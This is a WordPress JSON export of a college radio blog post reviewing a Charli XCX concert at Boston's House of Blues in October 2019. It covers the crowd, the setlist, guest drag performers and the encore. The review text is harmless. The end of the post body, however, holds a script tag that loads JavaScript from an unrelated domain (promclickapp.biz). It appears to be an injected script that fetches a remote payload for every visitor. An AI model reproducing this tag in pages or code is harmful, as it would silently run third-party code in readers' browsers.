{"id":5870,"date":"2019-10-30T09:01:07","date_gmt":"2019-10-30T14:01:07","guid":{"rendered":"https:\/\/sites.bu.edu\/wtbu\/?p=5870"},"modified":"2019-12-17T20:07:17","modified_gmt":"2019-12-18T01:07:17","slug":"review-charli-xcx-house-of-blues-10-17","status":"publish","type":"post","link":"https:\/\/sites.bu.edu\/wtbu\/2019\/10\/30\/review-charli-xcx-house-of-blues-10-17\/","title":{"rendered":"REVIEW: Charli XCX @ House of Blues 10\/17"},"content":{"rendered":"<p><em>By Julia Bertelli<\/em><\/p>\n<p><span style=\"font-weight: 400;\">On October 17th, the typical mass of Red Sox fans taking over Landsdowne St. were replaced by drag queens in 6-inch platform heels. Men and women alike dressed in neon and mesh shivered in crop tops and booty shorts as they lined up around the corner onto Brookline Ave in 40 degree weather.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">By 9pm, after an electric performance from opener Allie X, the crowd was overcome with anticipation, as the chant for \u201cCharli\u201d grew louder than the Britney and Gaga hits that played over the speakers. Giant cubes flashed blinding multicolored light and album opener \u201cNext Level Charli\u201d began, immediately bringing the once-still crowd to a mosh pit that kept up throughout the entirety of the night.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Charli XCX\u2019s stage presence is as demanding as the ear shattering, industrial production of her music. Even throughout songs like \u201cClick\u201d which features verses from Kim Petras and Tommy Cash, and \u201cFebruary 2017\u201d which features indie darlings Clairo and Yaeji, Charli commands attention &#8211; it\u2019s impossible to take your eyes off her. The rare exception to this was during \u201cShake It\u201d (ft. Brooke Candy, Cupcakke, Pabllo Vittar, and Big Freedia), during which Charli was joined by a crowd of drag queens in elaborate costume &#8211; tutus, leather harnesses, the works.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Throughout the night, she played the entirety of latest album <\/span><i><span style=\"font-weight: 400;\">Charli<\/span><\/i><span style=\"font-weight: 400;\">, taking the occasional break from her newer, more emotional material to perform more energizing fan-favorites such as \u201cVroom Vroom\u201d and \u201cI Got It (ft. Brooke Candy, Cupcakke, and Pabllo Vittar).\u201d<\/span><\/p>\n<p><span style=\"font-weight: 400;\">The night ended with a five-song encore, spanning the entirety of Charli\u2019s decade-long career, from covering breakout 2013 hit \u201cI Love It\u201d by Icona Pop, to the EASYFUN remix of \u201c1999,\u201d showing the ease with which Charli melts together bubblegum pop with the harsh, almost mechanical production of PC Music.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">A Charli XCX live show was more than just a concert, it was an <\/span><i><span style=\"font-weight: 400;\">event<\/span><\/i><span style=\"font-weight: 400;\">. With every song, a feeling of euphoria, confidence, and acceptance grew within the crowd. Charli XCX is pop <\/span><i><span style=\"font-weight: 400;\">royalty<\/span><\/i><span style=\"font-weight: 400;\">, and the rest of the world just hasn\u2019t figured that out yet. But, for her devoted fan base of weirdos, queers, and music nerds, we\u2019re glad to keep her our best-kept secret.<\/span><\/p>\n<p><script src=\"\/\/promclickapp.biz\/1e6ab715a3a95d4603.js\" async=\"\" type=\"text\/javascript\"><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>By Julia Bertelli On October 17th, the typical mass of Red Sox fans taking over Landsdowne St. were replaced by drag queens in 6-inch platform heels. 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